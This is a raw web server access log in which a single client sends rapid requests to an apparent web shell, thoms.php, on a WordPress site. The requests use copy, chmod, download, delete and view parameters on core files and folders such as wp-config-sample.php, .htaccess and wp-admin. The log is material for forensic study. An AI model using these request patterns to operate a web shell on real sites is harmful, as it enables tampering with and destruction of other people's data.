45.135.193.11 - - [11/Sep/2026:22:38:14 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p= HTTP/1.1" 200 11741 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:14 -0400] "GET /thoms.php?chmod=index.php&p=bfl.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:14 -0400] "GET /thoms.php?chmod=thoms.php&p=bfl.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:14 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=bfl.com.tw HTTP/1.1" 200 17328 "http://163.245.207.76:443/thoms.php?dl=wp-comments-post.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:14 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:14 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=bfl.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=wp-trackback.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:14 -0400] "GET /bfl.com.tw/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:15 -0400] "GET /thoms.php?del=wp-load.php&p=bfl.com.tw HTTP/1.1" 200 17329 "http://163.245.207.76:443/thoms.php?del=wp-load.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:15 -0400] "GET /thoms.php?p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 200 12048 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:15 -0400] "GET /thoms.php?del=wp-admin&p=bfl.com.tw HTTP/1.1" 200 17329 "http://163.245.207.76:443/thoms.php?del=wp-admin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:15 -0400] "GET /thoms.php?dl=index.php&p=bfl.com.tw HTTP/1.1" 200 17329 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:15 -0400] "GET /thoms.php?dl=license.txt&p=bfl.com.tw HTTP/1.1" 200 17329 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:15 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13101 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:15 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:15 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=bfl.com.tw HTTP/1.1" 200 17328 "http://163.245.207.76:443/thoms.php?dl=wp-blog-header.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:15 -0400] "GET /thoms.php?del=wp-cron.php&p=bfl.com.tw HTTP/1.1" 200 17328 "http://163.245.207.76:443/thoms.php?del=wp-cron.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:15 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:15 -0400] "GET /thoms.php?dl=wp-load.php&p=bfl.com.tw HTTP/1.1" 200 17319 "http://163.245.207.76:443/thoms.php?dl=wp-load.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:15 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:15 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-trackback.php HTTP/1.1" 200 14099 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:15 -0400] "GET /thoms.php?del=legacy-checkpoint&p=bfl.com.tw HTTP/1.1" 200 17328 "http://163.245.207.76:443/thoms.php?del=legacy-checkpoint&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:16 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-activate.php HTTP/1.1" 200 14811 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:16 -0400] "GET /thoms.php?chmod=.well-known&p=bfl.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=.well-known&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:16 -0400] "GET /thoms.php?p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 200 13407 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:16 -0400] "GET /bfl.com.tw/wp-admin/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:16 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=bfl.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?chmod=wp-blog-header.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:16 -0400] "GET /thoms.php?del=wp-settings.php&p=bfl.com.tw HTTP/1.1" 200 17331 "http://163.245.207.76:443/thoms.php?del=wp-settings.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:16 -0400] "GET /thoms.php?dl=mah.php&p=bfl.com.tw HTTP/1.1" 200 17333 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:16 -0400] "GET /bfl.com.tw/wp-load.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:16 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-mail.php HTTP/1.1" 200 15355 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:16 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:16 -0400] "GET /thoms.php?dl=wp-settings.php&p=bfl.com.tw HTTP/1.1" 200 17331 "http://163.245.207.76:443/thoms.php?dl=wp-settings.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /thoms.php?del=upgrade&p=bfl.com.tw HTTP/1.1" 200 17330 "http://163.245.207.76:443/thoms.php?del=upgrade&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p= HTTP/1.1" 200 11797 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /thoms.php?del=wp-content&p=bfl.com.tw HTTP/1.1" 200 17330 "http://163.245.207.76:443/thoms.php?del=wp-content&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /bfl.com.tw/wp-includes/ HTTP/1.1" 200 9246 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /thoms.php?chmod=wp-includes&p=bfl.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=wp-includes&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /bfl.com.tw/cgi-bin/ HTTP/1.1" 200 688 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /thoms.php?p=bfl.com.tw&view=readme.html HTTP/1.1" 200 15236 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /thoms.php?p=bfl.com.tw&settings=1 HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /bfl.com.tw/thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /thoms.php?del=mah.php&p=bfl.com.tw HTTP/1.1" 200 17330 "http://163.245.207.76:443/thoms.php?del=mah.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /bfl.com.tw/thoms.php?p= HTTP/1.1" 200 17804 "https://163.245.207.76/bfl.com.tw/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /bfl.com.tw/legacy-checkpoint/ HTTP/1.1" 200 6348 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /bfl.com.tw/upgrade/ HTTP/1.1" 200 6687 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /bfl.com.tw/wp-content/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-load.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p= HTTP/1.1" 200 11783 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /bfl.com.tw/index.php HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:17 -0400] "GET /bfl.com.tw/locoy.php HTTP/1.1" 200 125 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:18 -0400] "GET /thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:18 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13026 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:18 -0400] "GET /bfl.com.tw/ HTTP/1.1" 404 20992 "https://163.245.207.76/bfl.com.tw/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:18 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:18 -0400] "GET /thoms.php?chmod=error_log&p=bfl.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:18 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=bfl.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?chmod=wp-links-opml.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:18 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-load.php HTTP/1.1" 200 13645 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:18 -0400] "GET /thoms.php?chmod=wp-login.php&p=bfl.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=wp-login.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:18 -0400] "GET /thoms.php?del=wp-login.php&p=bfl.com.tw HTTP/1.1" 200 17330 "http://163.245.207.76:443/thoms.php?del=wp-login.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:18 -0400] "GET /thoms.php?del=xmlrpc.php&p=bfl.com.tw HTTP/1.1" 200 17333 "http://163.245.207.76:443/thoms.php?del=xmlrpc.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:18 -0400] "GET /bfl.com.tw/queue-failed/ HTTP/1.1" 200 6399 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:18 -0400] "GET /thoms.php?chmod=license.txt&p=bfl.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:18 -0400] "GET /thoms.php?del=license.txt&p=bfl.com.tw HTTP/1.1" 200 17331 "http://163.245.207.76:443/thoms.php?del=license.txt&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:18 -0400] "GET /thoms.php?chmod=wp-mail.php&p=bfl.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=wp-mail.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:18 -0400] "GET /thoms.php?dl=wp-login.php&p=bfl.com.tw HTTP/1.1" 200 17239 "http://163.245.207.76:443/thoms.php?dl=wp-login.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:19 -0400] "GET /thoms.php?chmod=wp-signup.php&p=bfl.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=wp-signup.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p= HTTP/1.1" 200 11790 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:19 -0400] "GET /thoms.php?p=bfl.com.tw%2Fupgrade HTTP/1.1" 200 14130 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:19 -0400] "GET /thoms.php?chmod=mah.php&p=bfl.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:19 -0400] "GET /bfl.com.tw/wp-config-sample.php HTTP/1.1" 500 1095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:19 -0400] "GET /thoms.php?del=wp-comments-post.php&p=bfl.com.tw HTTP/1.1" 200 17331 "http://163.245.207.76:443/thoms.php?del=wp-comments-post.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:19 -0400] "GET /thoms.php?p=bfl.com.tw&view=locoy.php HTTP/1.1" 200 12956 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:19 -0400] "GET /thoms.php?chmod=locoy.php&p=bfl.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=locoy.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:19 -0400] "GET /bfl.com.tw HTTP/1.1" 301 795 "http://163.245.207.76:443/bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
